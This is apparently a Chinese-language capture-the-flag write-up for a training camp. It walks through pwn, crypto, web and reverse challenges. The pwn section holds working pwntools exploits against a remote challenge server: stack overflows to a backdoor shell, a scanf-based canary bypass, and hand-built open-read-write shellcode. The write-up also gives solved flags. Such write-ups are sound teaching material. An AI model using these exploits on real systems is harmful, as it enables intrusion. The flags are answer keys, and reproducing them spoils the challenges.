pwn

tryc

很简单的 运行getshell

easy_backdoor

很简单的栈溢出

程序中明显栈溢出漏洞

直接溢出到ret

然后程序中有个后门

就直接getshell

image-20240127213737253

有个踩雷点就是要得返回这个地址

不然堆栈会出错就嘎嘎报错,别问我怎么知道的/(ㄒoㄒ)/~~

1
2
3
4
5
from pwn import*
sh=remote('114.116.233.171',10002)
payload=0x20 * b'A'+p64(0) + p64(0x0004011F8) ##没开保护直接绝对地址
sh.send(payload)
sh.interactive()

image-20240127214337242

backdoor2

这道题也是栈溢出,但是很难看出来

调试就很好看出来

脑洞很大

依靠的是

image-20240127214604500

溢出这个.com

image-20240127214941320

image-20240127214954283

然后有溢出思路,因为溢出空间是足够的,所以可以算出刚刚好溢出到ret上是win地址(也可以试出来)

image-20240127215423995

1
2
3
4
5
from pwn import *
sh=remote('114.116.233.171',10003)
payload=0x38 * b'1'
sh.sendline(payload)
sh.interactive()

image-20240127215635936

ret2shellcode

这道题思路并不难,只是难构造

image-20240127215747235

看程序一个注意canary以及栈可执行 之后要用到

image-20240127215851272

看主程序有个sandbox说明是沙盒检查一下

image-20240127220019037

这就是最恶心的地方,不让onegadget,要自己构造orw烦死人了

更烦人的是是scanf

而程序有个无限scanf,说明有栈溢出,但是又有Canary

因此要绕过Canary,而scanf有个特性(mc十年老玩家了),是输入+-之类的并不会占用缓冲区,因此不会占用栈,就不会碰到Canary,就是实现了绕过

然后学长还在程序留了一点东西

image-20240127220332391

这样就能溢出到这个放ret上

然后就会在栈上执行程序

就可以构造orw这也是最恶心的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
#sh=process('./shellcode')
sh=remote('114.116.233.171',10004)
context.log_level='debug'
sl = lambda x:sh.sendline(x)
for i in range(18):
sl(b'1')





sl(b'+')
sl(b'+')
sl(str(u32(b'\x67\x61\x6c\x66'))) #任意值
sl(b'0')
sl(b'4199215')
sl(b'0')
sl(str(u32(b'\x90\x90\x6a\x00'))) ##111111
sl(str(u32(b'\x68\x66\x6c\x61')))
sl(str(u32(b'\x67\x48\x89\xe7')))
sl(str(u32(b'\x31\xf6\x6a\x02')))
sl(str(u32(b'\x58\x0f\x05\x48')))
sl(str(u32(b'\x89\xc7\x48\x89')))
sl(str(u32(b'\xe6\xba\x00\x01')))
sl(str(u32(b'\x00\x00\x31\xc0')))
sl(str(u32(b'\x0f\x05\xbf\x01')))
sl(str(u32(b'\x00\x00\x00\x48')))
sl(str(u32(b'\x89\xe6\x6a\x01')))
sl(str(u32(b'\x58\x0f\x05\x00')))
sl(b'-1')
sh.recv()
sh.interactive()

有注释的地方需要特别注意就是这个地方是push 0,因为这个flag后面要有个\0才能读取,只能说难绷

for1

很简单

flag就在栈上

一个%n$s就有了

for2

这道题首先的思路就是连续覆盖两个栈,就可以覆盖返回地址,但是因为aslr导致栈地址不确定,因此我们要先泄露栈地址,我们发先rbp上的值与返回地址的差距为定值,因此泄露该值得到返回地址,之后再取低两位,但是这个不一定,只是比较方便,正确的应该是低四位,而低两位可以解但是可能会不通,多打几次即可

CRYPTO

Matryoshka doll

1
\u004d\u0048\u0067\u0031\u004d\u006a\u0052\u006d\u004e\u0044\u006b\u0031\u004d\u007a\u0064\u0069\u004e\u006a\u0067\u0030\u004d\u0044\u0063\u0032\u004d\u007a\u004d\u0030\u004e\u006a\u0063\u0031\u004e\u006d\u0055\u0032\u005a\u0054\u0064\u006c\u004e\u0032\u0055\u0033\u005a\u0041\u003d\u003d

看名字俄罗斯套娃一看就很多层

然后这个是Unicode 解码之后就是

1
MHg1MjRmNDk1MzdiNjg0MDc2MzM0Njc1NmU2ZTdlN2U3ZA==

后面又== 是base64的特征 解码之后就是

1
0x524f49537b6840763346756e6e7e7e7d

一看就是ASCII码

1
ROIS{h@v3Funn~~}

keyboard

1
UWFzZSBXc0RSIHBPayBYZGZ2IElLbFAga0puIFdzRFIgUmZHeSBJS2xQIHJmZ1kgeWdCaiBXc2RSIFhkZlYgWlNRIE5qayBPTA==

一眼base64

1
Qase WsDR pOk Xdfv IKlP kJn WsDR RfGy IKlP rfgY ygBj WsdR XdfV ZSQ Njk OL

看题目说是键盘那说明跟键盘有关

这串代表在键盘上围着的字母

1
welcometothecamp

看题目说要capital

1
ROIS{WELCOMETOTHECAMP}

web

vue-terminal

image-20240127221413304

image-20240127221442707

image-20240127221535997

image-20240127221600595

跟着提示走就flag了

ez_maze

鼠标放重点 按enter键 秒了

image-20240127221804256

re

Easy_Find

image-20240127222023096

image-20240127222054786

Replacement

image-20240127222200904

Easy_Crack

程序有个死循环 nop掉再运行就getshell

image-20240127222415254

image-20240127222518650